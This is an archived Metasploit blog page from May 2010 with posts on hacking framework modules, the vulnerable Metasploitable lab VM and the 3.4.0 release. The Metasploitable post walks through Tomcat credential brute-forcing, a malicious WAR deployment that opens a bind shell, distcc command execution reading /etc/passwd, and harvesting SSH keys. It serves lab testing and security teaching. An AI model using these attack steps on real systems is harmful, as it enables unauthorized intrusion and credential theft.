Skip navigation
All Places > Metasploit > Blog > 2010 > May
2010

Originally Posted by jcran

 

 

 

I've found myself repeating those words more than a few times over the last couple months. I've gotten some strange looks, but I've just really started to realize the power that the framework gives you. Because of its plaintextiness, it can be read / hacked / mangled by anybody. In essence, you have full visibility in to what's going on with an exploit and you can debug any problems at the moment you encounter them. Compare that to most tools, and i think you'll see the power. In short, if you can see it, you can hack on it.

 

 

 

The underlying rex library is also in ruby, so you can see what's going on behind the curtains of a library call. For instance, I was having trouble debugging an ssh login ('scanner/ssh/ssh_login'), so i looked at the module (look at lines 63-78), figured out how to turn debug mode on, and typed:

 

 

 

msf > set SSH_DEBUG true

 

 

 

All of a sudden, i'm getting insanely detailed output:

 

 

 

[*] 192.168.235.129:22 - SSH - Starting buteforce
establishing connection to 192.168.235.129:22
connection established
negotiating protocol version
remote is `SSH-1.99-OpenSSH_2.5.2p2'
local is `SSH-2.0-Ruby/Net::SSH_2.0.11 x86_64-linux'
[snip]

 

 

 

You could even dig further. Notice that the module has a "require 'net/ssh'". I then went to the $frameork/lib/net directory, and found ssh.rb. by adding some debug lines in here, you could get even greater visibility.

 

 

 

One editor (plugin) to rule them all!

 

 

 

On that note, a new 'editor' plugin was recently committed to make editing modules simpler. We wanted to make it trivial to look at the code for the current module. So if i want to hack on the 'ssh_login' module, rather than navigating here: $framework/modules/auxiliary/scanner/ssh/ssh_login.rb, i can simply type:

 

 

 

msf > use scanner/ssh/ssh_login
msf (ssh_login) > load editor
msf (ssh_login) > edit

 

 

 

The module loads the editor from the $EDITOR environment variable and defaults to vi if you've not set the variable. It's also worth mentioning when you're hacking away on a module and you change something, you'll want to reload the module before running it again. You can do this with a simple 'rexploit' command (for exploits) and a 'rerun' command for auxilliary modules.

 

 

 

That's it! Hope it makes it easier to hack on the framework. Comments / feedback welcome!

 

 

 

(I'm a littttttle disappointed it's not turtles, but it turns out ruby's way more fun :) )

Originally Posted by jcran

 

 

One of the questions that we often hear is "What systems can i use to test against?" Based on this, we thought it would be a good idea throw together an exploitable VM that you can use for testing purposes.

 

Metasploitable is an Ubuntu 8.04 server install on a VMWare 6.5 image. A number of vulnerable packages are included, including an install of tomcat 5.5 (with weak credentials), distcc, tikiwiki, twiki, and an older mysql.

 

You can use most VMware products to run it, and you'll want to make sure it's configured for Host-only networking unless it's in your lab - no need to throw another vulnerable machine on the corporate network. It's configured in non-persistent-disk mode, so you can simply reset it if you accidentally 'rm -rf' it.

 

Here are a couple of the things you can do with it in msfconsole:

 

Using the 'Tomcat Application Manager Login Utility' provided by MC, Matteo Cantoni, and jduck, you can test credentials against a Tomcat application (assuming the manager component is enabled):

 

msf > use scanner/http/tomcat_mgr_login
msf auxiliary(tomcat_mgr_login) > set RHOSTS metasploitable
msf auxiliary(tomcat_mgr_login) > set RPORT 8180
msf auxiliary(tomcat_mgr_login) > exploit

...
[*] 10.0.0.33:8180 - Trying username:'tomcat' with password:'role1'
[-] http://10.0.0.33:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as 'tomcat'
[*] 10.0.0.33:8180 - Trying username:'tomcat' with password:'root'
[-] http://10.0.0.33:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as 'tomcat'
[*] 10.0.0.33:8180 - Trying username:'tomcat' with password:'tomcat'
[+] http://10.0.0.33:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] successful login 'tomcat' : 'tomcat'
[*] 10.0.0.33:8180 - Trying username:'both' with password:'admin'

 

Woot! That's a valid (tomcat:tomcat) login. - Now that we have valid credentials, let's try jduck's Tomcat Manager Application Deployer (tomcat_mgr_deploy) against it:

 

msf > use multi/http/tomcat_mgr_deploy
msf exploit(tomcat_mgr_deploy) > set RHOST metasploitable
msf exploit(tomcat_mgr_deploy) > set USERNAME tomcat
msf exploit(tomcat_mgr_deploy) > set PASSWORD tomcat
msf exploit(tomcat_mgr_deploy) > set RPORT 8180
msf exploit(tomcat_mgr_deploy) > set PAYLOAD linux/x86/shell_bind_tcp
msf exploit(tomcat_mgr_deploy) > exploit

[*] Started bind handler
[*] Attempting to automatically select a target...
[*] Automatically selected target "Linux X86"
[*] Uploading 1612 bytes as HJpy1H.war ...
[*] Executing /HJpy1H/EpKaNLsCQUUjo.jsp...
[*] Undeploying HJpy1H ...
[*] Sending stage (36 bytes) to metasploitable
[*] Command shell session 1 opened (10.0.0.11:39497 -> 10.0.0.33:4444) at 2010-05-19 11:53:12 -0500

 

Sweet! And... that's a shell, facilitated by a malcious .WAR file. The distcc_exec module is also a nice exploit to test with. In this case, we'll use a command payload to 'cat /etc/passwd':

 

use unix/misc/distcc_exec
msf exploit(distcc_exec) > set PAYLOAD cmd/unix/generic
msf exploit(distcc_exec) > set RHOST metasploitable
msf exploit(distcc_exec) > set CMD 'cat /etc/passwd'
msf exploit(distcc_exec) > exploit
connecting...

[*] stdout: root:x:0:0:root:/root:/bin/bash
[*] stdout: daemon:x:1:1:daemon:/usr/sbin:/bin/sh
...

Code exec!

 

It's great fun to run Express against it too. A single bruteforce of ssh or telnet will return 5 sessions (from the 5 different weak accounts on the VM).

 

Once we have an open session we can run "Evidence Collection" and pick up any ssh keyfiles from the user accounts we gained access to. (Note that you can do this from the console too, manually - spawn a shell and check the .ssh directories). Now when we run another bruteforce (with 'known' credentials), it uses the SSH keyfiles to obtain access to the box.

 

To download Metasploitable, you can pick up the torrent here. If you are an Express customer, you can pick up a direct HTTP download from the Customer Center. See the README.txt here for additional information, but be aware, there are spoilers in it.

 

Enjoy!

Originally Posted by egypt

 

 

After five months of development, version 3.4.0 of the Metasploit Framework has been released. Since the last major release (3.3) over 100 new exploits have been added and over 200 bugs have been fixed.

 

This release includes massive improvements to the Meterpreter payload; both in terms of stability and features, thanks in large part to Stephen Fewer of Harmony Security.  The Meterpreter payload can now capture screenshots without migrating, including the ability to bypass Session 0 Isolation on newer Windows operating systems. This release now supports the ability to migrate back and forth between 32-bit and 64-bit processes on a compromised Windows 64-bit operating system. The Meterpreter protocol now supports inline compression using zlib, resulting in faster transfers of large data blocks. A new command, "getsystem", uses several techniques to gain system access from a low-privileged or administrator-level session, including the exploitation of Tavis Ormandy's KiTrap0D vulnerability. Brett Blackham contributed  a patch to compress screenshots on the server side in JPG format, reducing the overhead of the screen capture command. The pivoting backend of Meterpreter now supports bi-directional UDP and TCP relays, a big upgrade from the outgoing-only TCP pivoting capabilities of version 3.3.3.

 

This is the first version of Metasploit to have strong support for bruteforcing network protocols and gaining access with cracked credentials. A new mixin has been created that standardizes the options available to each of the brute force modules. This release includes support for brute forcing accounts over SSH, Telnet, MySQL, Postgres, SMB, DB2, and more, thanks to Tod Beardsley and contributions from Thomas Ring.

 

Metasploit now has support for generating malicious JSP and WAR files along with exploits for Tomcat and JBoss that use these to gain remote access to misconfigured installations. A new mixin was added that compiles and signs Java applets on fly, courtesy of Nathan Keltner.  Thanks to some excellent work by bannedit and Joshua J. Drake, command injection or a cmd.exe shell on Windows can be staged into a full Meterpreter shell using the new CmdStager mixin and "sessions -u" syntax.

 

This marks the first major release developed under the Rapid7 label and coincides with general availability of Metasploit Express, our first commercial product.  We hope you enjoy using the framework as much as we like working on it.

Filter Blog

By date: By tag: